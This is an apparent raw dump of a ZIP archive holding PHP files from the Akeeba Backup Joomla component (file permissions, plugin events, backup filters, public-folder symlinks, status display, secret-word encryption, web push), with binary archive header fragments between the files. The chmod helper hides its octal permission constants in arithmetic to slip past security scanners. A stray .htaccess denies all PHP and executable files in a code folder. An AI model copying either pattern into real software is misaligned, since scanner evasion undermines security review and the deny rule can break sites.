 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Client\FtpClient;
use Joomla\Filesystem\Path;

trait ModelChmodTrait
{
	/**
	 * Tries to change a folder/file's permissions using direct access or FTP
	 *
	 * @param   string  $path  The full path to the folder/file to chmod
	 * @param   int     $mode  New permissions
	 *
	 * @return  bool  True on success
	 */
	private function chmod($path, $mode)
	{
		if (is_string($mode))
		{
			$mode                    = octdec($mode);
			$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
			$ohSixHundred            = 386 - 2;
			$ohSevenFiveFive         = 500 - 7;

			if (($mode < $ohSixHundred) || ($mode > $trustMeIKnowWhatImDoing))
			{
				$mode = $ohSevenFiveFive;
			}
		}

		// Initialize variables
		$ftpOptions = ClientHelper::getCredentials('ftp');

		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		if (@chmod($path, $mode))
		{
			$ret = true;
		}
		elseif ($ftpOptions['enabled'] == 1)
		{
			// Connect the FTP client
			$ftp = FtpClient::getInstance(
				$ftpOptions['host'], $ftpOptions['port'], [],
				$ftpOptions['user'], $ftpOptions['pass']
			);

			// Translate path and delete
			$path = Path::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/');
			// FTP connector throws an error
			$ret = $ftp->chmod($path, $mode);
		}
		else
		{
			$ret = false;
		}

		return $ret;
	}
}PK     \_
  
    src/Mixin/TriggerEventTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') or die;

trait TriggerEventTrait
{
	use RunPluginsTrait;

	/**
	 * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the
	 * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event.
	 *
	 * EXAMPLE
	 * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456)
	 * The event calls:
	 * 1. $this->onBeforeSomething(123, 456)
	 * 2. $this->checkACL('@something') if there is no onBeforeSomething and the event starts with onBefore
	 * 3. Joomla! plugin event onComFoobarControllerItemBeforeSomething($this, 123, 456)
	 *
	 * @param   string  $event      The name of the event, typically named onPredicateVerb e.g. onBeforeKick
	 * @param   array   $arguments  The arguments to pass to the event handlers
	 *
	 * @return  bool
	 */
	protected function triggerEvent(string $event, array $arguments = []): bool
	{
		// If there is an object method for this event, call it
		if (method_exists($this, $event))
		{
			/**
			 * IMPORTANT! We use call_user_func_array() so we can pass arguments by reference.
			 */
			if (call_user_func_array([$this, $event], $arguments) === false)
			{
				return false;
			}
		}

		// All other event handlers live outside this object, therefore they need to be passed a reference to this
		// object as the first argument.
		array_unshift($arguments, $this);

		// If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later.
		$prefix = '';

		if (substr($event, 0, 2) == 'on')
		{
			$prefix = 'on';
			$event  = substr($event, 2);
		}

		// Get the component name and object type from the namespace of the caller
		$callers        = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT | DEBUG_BACKTRACE_IGNORE_ARGS);
		$namespaceParts = explode('\\', $callers[1]['class']);
		$className      = array_pop($namespaceParts);
		$objectType     = array_pop($namespaceParts);
		array_pop($namespaceParts);
		$bareComponent = strtolower(array_pop($namespaceParts));

		// Get the component/model prefix for the event
		$prefix .= 'Com' . ucfirst($bareComponent);
		$prefix .= ucfirst($className);

		// The event name will be something like onComFoobarItemsControllerBeforeSomething
		$event = $prefix . $event;

		// Call the Joomla! plugins
		$results = $this->triggerPluginEvent($event, $arguments);

		return !in_array(false, $results, true);
	}

}PK     \    '  src/Mixin/ModelExclusionFilterTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;

/**
 * Trait for handling Akeeba Engine exclusion filters in models
 */
trait ModelExclusionFilterTrait
{
	protected $knownFilterTypes = [];

	/**
	 * Modifies a filter
	 *
	 * @param   string  $type     Filter type
	 * @param   string  $root     The filter's root
	 * @param   mixed   $node     The filter node to modify
	 * @param   string  $action   The action to take: set, remove, toggle, swap
	 * @param   string  $oldNode  Only for swap: The old node which will be swapped with $node
	 *
	 * @return  array  Array with keys success and newstate
	 */
	protected function applyExclusionFilter($type, $root, $node, $action = 'set', $oldNode = '')
	{
		$ret = [
			'success'  => false,
			'newstate' => false,
		];

		$filter   = Factory::getFilterObject($type);
		$newState = null;

		switch ($action)
		{
			case 'set':
				$ret['success'] = $filter->set($root, $node);
				break;

			case 'remove':
				$ret['success'] = $filter->remove($root, $node);
				break;

			case 'toggle':
				$ret['success'] = $filter->toggle($root, $node, $newState);
				break;

			case 'swap':
				$ret['success'] = true;

				if (empty($node))
				{
					$ret['success'] = false;
				}

				if ($ret['success'] && !empty($oldNode))
				{
					$ret = $this->applyExclusionFilter($type, $root, $oldNode, 'remove');
				}

				if ($ret['success'])
				{
					$ret = $this->applyExclusionFilter($type, $root, $node, 'set');
				}
				break;
		}

		$ret['newstate'] = $newState;

		if (is_null($newState))
		{
			$ret['newstate'] = $ret['success'];
		}

		if ($ret['success'])
		{
			$filters = Factory::getFilters();
			$filters->save();
		}

		return $ret;
	}


	/**
	 * Retrieves the filters as an array. Used for the tabular filter editor.
	 *
	 * @param   string  $root  The root node to search filters on
	 *
	 * @return  array  A collection of hash arrays containing node and type for each filtered element
	 */
	protected function &getTabularFilters($root)
	{
		// A reference to the global Akeeba Engine filter object
		$filters = Factory::getFilters();

		// Initialize the return array
		$ret = [];

		foreach ($this->knownFilterTypes as $type)
		{
			$rawFilterData = $filters->getFilterData($type);

			if (array_key_exists($root, $rawFilterData))
			{
				if (!empty($rawFilterData[$root]))
				{
					foreach ($rawFilterData[$root] as $node)
					{
						$ret[] = [
							'node' => substr($node, 0), // Make sure we get a COPY, not a reference to the original data
							'type' => $type,
						];
					}
				}
			}
		}

		return $ret;
	}

	/**
	 * Resets the filters
	 *
	 * @param   string  $root  Root directory
	 *
	 * @return  void
	 */
	protected function resetAllFilters($root)
	{
		// Get a reference to the global Filters object
		$filters = Factory::getFilters();

		foreach ($this->knownFilterTypes as $filterName)
		{
			$filter = Factory::getFilterObject($filterName);
			$filter->reset($root);
		}

		$filters->save();
	}
}
PK     \Sʉ        src/Mixin/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \PRb    !  src/Helper/JoomlaPublicFolder.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Helper
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Helper;

use Akeeba\Engine\Factory;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

defined('_JEXEC') || die;

/**
 * Workarounds for Joomla 5.0+ custom public folder
 *
 * @since       9.8.1
 */
class JoomlaPublicFolder
{
	/**
	 * Key in the `#__akeeba_common` table to use for the public folder storage.
	 *
	 * @since  9.8.1
	 */
	private const KEY = 'JPATH_PUBLIC';

	/**
	 * Internal cache of the public folder location
	 *
	 * @var    string|null
	 * @since  9.8.1
	 */
	private static ?string $publicPath = null;

	private static bool $hasCustomPublic = false;

	public static function init(): void
	{
		$app = JoomlaFactory::getApplication();

		if ($app->isClient('site') || $app->isClient('administrator') || $app->isClient('api'))
		{
			self::$hasCustomPublic = defined('JPATH_PUBLIC') && JPATH_PUBLIC !== JPATH_ROOT;
		}
		else
		{
			$public = self::getPublicFolder();

			self::$hasCustomPublic = $public !== JPATH_ROOT;
		}

		self::savePublicFolder();
		self::createPublicRootSymlinks();
	}

	/**
	 * Creates the symlinks in the public directory we need for restoration to work.
	 *
	 * It creates the symlinks:
	 * - `installation`. Allows the restoration script to execute after the initial extraction.
	 * - `administrator/components/com_akeebabackup/restore.php` (Pro version). Allows the integrated restoration to
	 * extract the backup archive.
	 *
	 * @since   9.8.1
	 */
	public static function createPublicRootSymlinks(): void
	{
		if (!self::$hasCustomPublic)
		{
			return;
		}

		$public = self::getPublicFolder();

		// Create a symlink to the installation directory, allowing the restoration to actually execute
		if (!@is_link($public . '/installation'))
		{
			@symlink(JPATH_INSTALLATION, $public . '/installation');
		}

		// Create a symlink to the restore.php file. Required for the extraction to work.
		if (
			!@file_exists($public . '/administrator/components/com_akeebabackup/restore.php')
			&& file_exists(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/restore.php')
		)
		{
			@mkdir($public . '/administrator/components/com_akeebabackup', 0755, true);

			@symlink(
				JPATH_ADMINISTRATOR . '/components/com_akeebabackup/restore.php',
				$public . '/administrator/components/com_akeebabackup/restore.php',
			);
		}
	}

	/**
	 * Do we have automatic inclusion of the custom public folder under Joomla 5 or later?
	 *
	 * This returns false in the following cases:
	 * - Joomla 4, which does not have JPATH_PUBLIC
	 * - Custom site root override enabled (I don't know which site it is backing up!)
	 * - The public root is JPATH_ROOT
	 *
	 * @return  bool
	 *
	 * @since   9.8.1
	 */
	public static function hasCustomPublicFolderAutoIncluded(): bool
	{
		if (!self::$hasCustomPublic)
		{
			return false;
		}

		if (Factory::getConfiguration()->get('akeeba.platform.override_root', 0))
		{
			return false;
		}

		$publicDir = Factory::getFilesystemTools()->TranslateWinPath(JoomlaPublicFolder::getPublicFolder());
		$rootDir   = Factory::getFilesystemTools()->TranslateWinPath(JPATH_ROOT);

		return $publicDir !== $rootDir;
	}

	/**
	 * Store JPATH_PUBLIC in the database.
	 *
	 * We observed that JPATH_PUBLIC always returns JPATH_ROOT under CLI. Therefore, we need a solid way to get the
	 * correct JPATH_PUBLIC even if Joomla! core developers have forgotten about the _fifth_ official Joomla!
	 * application...
	 *
	 * @since   9.8.1
	 */
	public static function savePublicFolder(): void
	{
		// If it's Joomla! 4 (or a bad edit in defines.php) bail out fast.
		if (!self::$hasCustomPublic)
		{
			// We set this here to avoid doing an unnecessary database query.
			self::$publicPath = JPATH_ROOT;

			return;
		}

		// Bail out if we are under the CLI application. We can never have the correct JPATH_PUBLIC there.
		if (JoomlaFactory::getApplication()->isClient('cli'))
		{
			// DO NOT SET self::$publicPath HERE! We want to fall back to a database query as needed.
			return;
		}

		$currentPublic = self::getPublicFolder(true);

		// Nothing to update. Bail out.
		if ($currentPublic === JPATH_PUBLIC)
		{
			return;
		}

		// Update our internal variable to speed things up.
		self::$publicPath = JPATH_PUBLIC;

		// Remove an existing entry from the database.
		/** @var DatabaseDriver $db */
		$key   = self::KEY;
		$db    = JoomlaFactory::getContainer()->get(DatabaseInterface::class);
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->delete($db->quoteName('#__akeeba_common'))
			->where($db->quoteName('key') . ' = :key')
			->bind(':key', $key);
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (\Exception $e)
		{
			return;
		}

		// Save the new entry to the database.
		$o = (object) [
			'key'   => self::KEY,
			'value' => JPATH_PUBLIC,
		];

		try
		{
			$db->insertObject('#__akeeba_common', $o);
		}
		catch (\Exception $e)
		{
			return;
		}
	}

	/**
	 * Returns the correct JPATH_PUBLIC folder, even under CLI.
	 *
	 * @param   bool  $nullIfUnset  Should I return NULL if the database key is not yet set?
	 *
	 * @return  string|null
	 *
	 * @since   9.8.1
	 */
	public static function getPublicFolder(bool $nullIfUnset = false): ?string
	{
		return self::$publicPath ??= call_user_func(
			function () use ($nullIfUnset) {
				$key = self::KEY;
				try
				{
					/** @var DatabaseDriver $db */
					$db     = JoomlaFactory::getContainer()->get(DatabaseInterface::class);
					$query  = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
						->select($db->quoteName('value'))
						->from($db->quoteName('#__akeeba_common'))
						->where($db->quoteName('key') . ' = :key')
						->bind(':key', $key);
					$result = $db->setQuery($query)->loadResult();
				}
				catch (\Exception $e)
				{
					$result = null;
				}

				return $result ?? ($nullIfUnset ? null : JPATH_ROOT);
			}
		);
	}
}PK     \>i      src/Helper/Status.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Helper;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\User\User;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

class Status
{
	/**
	 * Are we ready to take a new backup?
	 *
	 * @var  bool
	 */
	public $status = false;

	/**
	 * The detected warnings
	 *
	 * @var  array
	 */
	protected $warnings = [];

	/**
	 * Public constructor.
	 *
	 * Automatically initializes the object with the status and warnings.
	 */
	public function __construct()
	{
		$this->status   = Factory::getConfigurationChecks()->getShortStatus();
		$this->warnings = Factory::getConfigurationChecks()->getDetailedStatus();
	}

	/**
	 * Get a Singleton instance
	 *
	 * @return  self
	 */
	public static function &getInstance()
	{
		static $instance = null;

		if (empty($instance))
		{
			$instance = new self();
		}

		return $instance;
	}

	/**
	 * Returns the HTML for the backup status cell
	 *
	 * @return  string  HTML
	 */
	public function getStatusCell()
	{
		$status = Factory::getConfigurationChecks()->getShortStatus();
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus();

		if ($status && empty($quirks))
		{
			$html = '<div class="alert alert-success" role="alert"><p>' . Text::_('COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK') . '</p></div>';
		}
		elseif ($status && !empty($quirks))
		{
			$html = '<div class="alert alert-warning" role="alert"><p>' . Text::_('COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING') . '</p></div>';
		}
		else
		{
			$html = '<div class="alert alert-danger" role="alert"><p>' . Text::_('COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR') . '</p></div>';
		}

		return $html;
	}

	/**
	 * Returns HTML for the warnings (status details)
	 *
	 * @param   bool  $onlyErrors  Should I only return errors? If false (default) errors AND warnings are returned.
	 *
	 * @return  string  HTML
	 */
	public function getQuirksCell($onlyErrors = false)
	{
		$html   = '<p>' . Text::_('COM_AKEEBABACKUP_CPANEL_WARNING_QNONE') . '</p>';
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus();

		if (!empty($quirks))
		{
			$html = "<ul class=\"list-unstyled\">\n";

			foreach ($quirks as $quirk)
			{
				$html .= $this->renderWarnings($quirk, $onlyErrors);
			}

			$html .= "</ul>\n";
		}

		return $html;
	}

	/**
	 * Returns a boolean value, indicating if warnings have been detected.
	 *
	 * @return  bool  True if there is at least one detected warnings
	 */
	public function hasQuirks()
	{
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus();

		return !empty($quirks);
	}

	/**
	 * Returns the details of the latest backup as HTML
	 *
	 * @return  string  HTML
	 */
	public function getLatestBackupDetails()
	{
		/** @var DatabaseDriver $db */
		$db    = JoomlaFactory::getContainer()->get(DatabaseInterface::class);
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('MAX(' . $db->qn('id') . ')')
			->from($db->qn('#__akeebabackup_backups'));
		$db->setQuery($query);
		$id = $db->loadResult();

		$backup_types = Factory::getEngineParamsProvider()->loadScripting();

		if (empty($id))
		{
			return '<p class="label">' . Text::_('COM_AKEEBABACKUP_BACKUP_STATUS_NONE') . '</p>';
		}

		$record = Platform::getInstance()->get_statistics($id);

		switch ($record['status'])
		{
			case 'run':
				$status      = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING');
				$statusClass = "badge bg-warning";
				break;

			case 'fail':
				$status      = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL');
				$statusClass = "badge bg-danger";
				break;

			case 'complete':
				$status      = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK');
				$statusClass = "badge bg-success";
				break;

			default:
				$status      = '';
				$statusClass = '';
		}

		switch ($record['origin'])
		{
			case 'frontend':
				$origin = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND');
				break;

			case 'backend':
				$origin = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND');
				break;

			case 'cli':
				$origin = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI');
				break;

			default:
				$origin = '&ndash;';
				break;
		}

		$type = '';

		if (array_key_exists($record['type'], $backup_types['scripts']))
		{
			$type = Platform::getInstance()->translate($backup_types['scripts'][$record['type']]['text']);
		}

		$startTime = clone JoomlaFactory::getDate($record['backupstart'], 'UTC');
		$app       = JoomlaFactory::getApplication();
		$user      = $app->getIdentity() ?? (new User());
		$tz        = new \DateTimeZone($user->getParam('timezone', $app->get('offset', 'UTC')));
		$startTime->setTimezone($tz);

		$html = '<table class="table table-striped">';
		$html .= '<tr><td>' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_START') . '</td><td>' . $startTime->format(Text::_('DATE_FORMAT_LC2'), true) . '</td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION') . '</td><td>' . $record['description'] . '</td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS') . '</td><td><span class="label ' . $statusClass . '">' . $status . '</span></td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN') . '</td><td>' . $origin . '</td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE') . '</td><td>' . $type . '</td></tr>';
		$html .= '</table>';

		return $html;
	}

	/**
	 * Gets the HTML for a single line of the warnings area.
	 *
	 * @param   array  $quirk       A quirk definition array
	 * @param   bool   $onlyErrors  Should I only return errors? If false (default) errors AND warnings are returned.
	 *
	 * @return  string  HTML
	 */
	private function renderWarnings($quirk, $onlyErrors = false)
	{
		if ($onlyErrors && ($quirk['severity'] != 'critical'))
		{
			return '';
		}

		switch ($quirk['severity'])
		{

			case 'critical':
				$classSuffix = 'danger';
				break;

			case 'high':
				$classSuffix = 'warning';
				break;

			case 'medium':
				$classSuffix = 'primary';
				break;

			case 'low':
			default:
				$classSuffix = 'secondary';
				break;
		}

		$quirk['severity'] = $quirk['severity'] == 'critical' ? 'high' : $quirk['severity'];

		return sprintf(
			"<li class=\"mt-2\"><a class=\"severity-%s link-%s\" href=\"%s\" target=\"_blank\">%s</a></li>\n",
			$quirk['severity'], $classSuffix, $quirk['help_url'], $quirk['description']
		);

	}

}PK     \ܢ      src/Helper/SecretWord.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Helper;

defined('_JEXEC') or die;

use Akeeba\Engine\Factory;
use Joomla\Registry\Registry;

class SecretWord
{
	/**
	 * Forcibly store the Secret Word settings $settingsKey unencrypted in the database. This is meant to be called when
	 * the user disables settings encryption. Since the encryption key will be deleted we need to decrypt the Secret
	 * Word at the same time as the Engine settings. Otherwise we will never be able to access it again.
	 *
	 * @param   Registry     $params         The component parameters object
	 * @param   string       $settingsKey    The key of the Secret Word parameter
	 * @param   string|null  $encryptionKey  (Optional) The AES key with which to decrypt the parameter
	 *
	 * @return  void
	 *
	 * @since   5.5.2
	 */
	public static function enforceDecrypted(Registry $params, string $settingsKey, ?string $encryptionKey = null)
	{
		// Get the raw version of frontend_secret_word and check if it has a valid encryption signature
		$raw             = $params->get($settingsKey, '');
		$signature       = substr($raw, 0, 12);
		$validSignatures = ['###AES128###', '###CTR128###'];

		// If the setting is not already encrypted I have nothing to decrypt
		if (!in_array($signature, $validSignatures))
		{
			return;
		}

		// The setting was encrypted. I need to decrypt it.
		$secureSettings = Factory::getSecureSettings();
		$encrypted      = $secureSettings->decryptSettings($raw, $encryptionKey);

		// Finally, I need to save it back to the database
		$params->set($settingsKey, $encrypted);

		\Joomla\CMS\Factory::getApplication()
		                   ->bootComponent('com_akeebabackup')
		                   ->getComponentParametersService()
		                   ->save($params);
	}

	/**
	 * Enforce (reversible) encryption for the component setting $settingsKey
	 *
	 * @param   Registry  $params       The component's parameters object
	 * @param   string    $settingsKey  The key for the setting containing the secret word
	 *
	 * @return  void
	 *
	 * @since   5.5.2
	 */
	public static function enforceEncryption(Registry $params, string $settingsKey)
	{
		// If encryption is not enabled in the Engine we can't encrypt the Secret Word
		if ($params->get('useencryption', -1) == 0)
		{
			return;
		}

		// If encryption is not supported on this server we can't encrypt the Secret Word
		if (!Factory::getSecureSettings()->supportsEncryption())
		{
			return;
		}

		// Get the raw version of frontend_secret_word and check if it has a valid encryption signature
		$raw             = $params->get($settingsKey, '');
		$signature       = substr($raw, 0, 12);
		$validSignatures = ['###AES128###', '###CTR128###'];

		// If the setting is already encrypted I have nothing to do here
		if (in_array($signature, $validSignatures))
		{
			return;
		}

		// The setting was NOT encrypted. I need to encrypt it.
		$secureSettings = Factory::getSecureSettings();
		$encrypted      = $secureSettings->encryptSettings($raw);

		// Finally, I need to save it back to the database
		$params->set($settingsKey, $encrypted);

		\Joomla\CMS\Factory::getApplication()
		                   ->bootComponent('com_akeebabackup')
		                   ->getComponentParametersService()
		                   ->save($params);
	}
}PK     \VCY0  0    src/Helper/PushMessages.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Helper;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Model\PushModel;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\PushMessagesInterface;
use Akeeba\WebPush\NotificationOptions;
use Akeeba\WebPush\WebPush\MessageSentReport;
use Akeeba\WebPush\WebPush\WebPush;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

/**
 * A replacement push notifications helper for the Akeeba Engine. This one is Web Push API aware.
 *
 * @since       9.3.1
 */
class PushMessages implements PushMessagesInterface
{
	/**
	 * @since  9.3.1
	 * @var    \Joomla\CMS\MVC\Factory\MVCFactoryInterface
	 */
	public static $mvcFactory;

	/**
	 * User IDs who have Web Push enabled
	 *
	 * @since  9.3.1
	 * @var    array|null
	 */
	private static $webPushUsers = null;

	/**
	 * The classic push messages handler
	 *
	 * @since  9.3.1
	 * @var    \Akeeba\Engine\Util\PushMessages|null
	 */
	private $corePush = null;

	private $hasWebPush = false;

	/**
	 * Public constructor.
	 *
	 * Decides which push method to use.
	 *
	 * @since   9.3.1
	 */
	public function __construct()
	{
		$pushPreference   = Platform::getInstance()->get_platform_configuration_option('push_preference', '0');
		$this->hasWebPush = class_exists(WebPush::class);

		/**
		 * Fall back to the classic push handler if we're not using Web Push or if the integration is not available.
		 */
		if (!$this->hasWebPush || $pushPreference !== 'webpush')
		{
			$this->corePush = new \Akeeba\Engine\Util\PushMessages();
		}
	}

	/**
	 * Sends a push message, containing a URL/URI, to all connected devices. The URL will be rendered as something
	 * clickable on most devices.
	 *
	 * @param   string  $url      The URL/URI
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	public function link($url, $subject, $details = null)
	{
		if (is_object($this->corePush))
		{
			$this->corePush->link($url, $subject, $details);

			return;
		}

		if (!$this->hasWebPush)
		{
			return;
		}

		$details = $details ?? '';
		$details .= empty($details) ? '' : ' ';

		$this->message($subject, $details . $url);
	}

	/**
	 * Sends a push message to all connected devices. The intent is to provide the user with an information message,
	 * e.g. notify them about the progress of the backup.
	 *
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	public function message($subject, $details = null)
	{
		if (is_object($this->corePush))
		{
			$this->corePush->message($subject, $details);

			return;
		}

		if (!$this->hasWebPush)
		{
			return;
		}

		$logger = \Akeeba\Engine\Factory::getLog();

		$model = $this->getPushModel();

		if (empty($model))
		{
			$logger->notice('[Web Push] Cannot get the Web Push model or no push users are subscribed; aborted');

			return;
		}

		$options      = new NotificationOptions();
		$options->tag = 'com_akeebabackup';

		if ($details)
		{
			$options->body = $details;
		}

		foreach ($this->getWebPushUsers() as $uid)
		{
			$logger->debug(sprintf('[Web Push] Notifying user ID %d', $uid));

			try
			{
				$reports = $model->sendNotification($subject, $options->toArray(), $uid);
			}
			catch (\ErrorException $e)
			{
				$logger->notice(sprintf('[Web Push] PHP Error: %s', $e->getMessage()));
			}

			$failed = 0;
			$total  = 0;

			/** @var MessageSentReport $report */
			foreach ($reports as $report)
			{
				$total++;

				if (!$report->isSuccess())
				{
					$failed++;

					$logger->debug(sprintf('[Web Push] Partial failure: %s', $report->getReason()));
				}
			}

			if ($failed === $total)
			{
				$logger->debug(sprintf('[Web Push] Failed to notify user ID %s on %d subscription(s)', $uid, $total));
			}

			if ($failed > 0)
			{
				$logger->debug(sprintf('[Web Push] Partially notified user ID %d on %d subscription(s), %d of which failed', $uid, $total, $failed));
			}
			else
			{
				$logger->debug(sprintf('[Web Push] Successfully notified user ID %d on %d subscription(s)', $uid, $total));
			}
		}
	}

	/**
	 * Get the PushModel object, if possible
	 *
	 * @return  PushModel|null
	 *
	 * @since   9.3.1
	 */
	private function getPushModel(): ?PushModel
	{
		if (empty(self::$mvcFactory))
		{
			return null;
		}

		$userIDs = $this->getWebPushUsers();

		if (empty($userIDs))
		{
			return null;
		}

		try
		{
			/** @var PushModel|null $model */
			$model = self::$mvcFactory->createModel('Push', 'Administrator');
		}
		catch (\Throwable $e)
		{
			return null;
		}

		if (!is_object($model) || !method_exists($model, 'sendNotification'))
		{
			return null;
		}

		return $model;
	}

	/**
	 * Get the user IDs which should be receiving push messages.
	 *
	 * @return  int[]
	 *
	 * @since   9.3.1
	 */
	private function getWebPushUsers(): array
	{
		if (!is_null(self::$webPushUsers))
		{
			return self::$webPushUsers;
		}

		self::$webPushUsers = [];

		try
		{
			/** @var DatabaseDriver $db */
			$db    = Factory::getContainer()->get(DatabaseInterface::class);
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			            ->select($db->quoteName('user_id'))
			            ->from($db->quoteName('#__user_profiles'))
			            ->where($db->quoteName('profile_key') . ' = ' . $db->quote('com_akeebabackup.webPushSubscription'));

			self::$webPushUsers = array_filter(
				$db->setQuery($query)->loadColumn() ?: [],
				function ($uid) {
					/** @var User|null; $user */
					$user = Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($uid);

					return ($user instanceof User)
						&& $user->authorise('core.manage', 'com_akeebabackup');
				}
			);
		}
		catch (\Exception $e)
		{
			// Ignore errors. We just don't send push messages.
		}

		return self::$webPushUsers;
	}
}PK     \.Į      src/Helper/Utils.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Helper;

defined('_JEXEC') || die();

use Joomla\CMS\Uri\Uri;
use Joomla\Filter\InputFilter;

class Utils
{
	/**
	 * Returns the relative path of directory $to to root path $from
	 *
	 * @param   string  $from  Root directory
	 * @param   string  $to    The directory whose path we want to find relative to $from
	 *
	 * @return  string  The relative path
	 */
	public static function getRelativePath(string $from, string $to): string
	{
		// some compatibility fixes for Windows paths
		$from = is_dir($from) ? rtrim($from, '\/') . '/' : $from;
		$to   = is_dir($to) ? rtrim($to, '\/') . '/' : $to;
		$from = str_replace('\\', '/', $from);
		$to   = str_replace('\\', '/', $to);

		$from    = explode('/', $from);
		$to      = explode('/', $to);
		$relPath = $to;

		foreach ($from as $depth => $dir)
		{
			// find first non-matching dir
			if ($dir === $to[$depth])
			{
				// ignore this directory
				array_shift($relPath);

				continue;
			}

			// Get number of remaining dirs to $from
			$remaining = count($from) - $depth;

			if ($remaining > 1)
			{
				// add traversals up to first matching dir
				$padLength = (count($relPath) + $remaining - 1) * -1;
				$relPath   = array_pad($relPath, $padLength, '..');

				break;
			}

			$relPath[0] = './' . $relPath[0];
		}

		return implode('/', $relPath);
	}

	/**
	 * Escapes a string for use with Javascript
	 *
	 * @param   string  $string  The string to escape
	 * @param   string  $extras  The characters to escape
	 *
	 * @return  string
	 */
	static function escapeJS(string $string, string $extras = ''): string
	{
		// Make sure we escape single quotes, slashes and brackets
		if (empty($extras))
		{
			$extras = "'\\[]";
		}

		return addcslashes($string, $extras);
	}

	/**
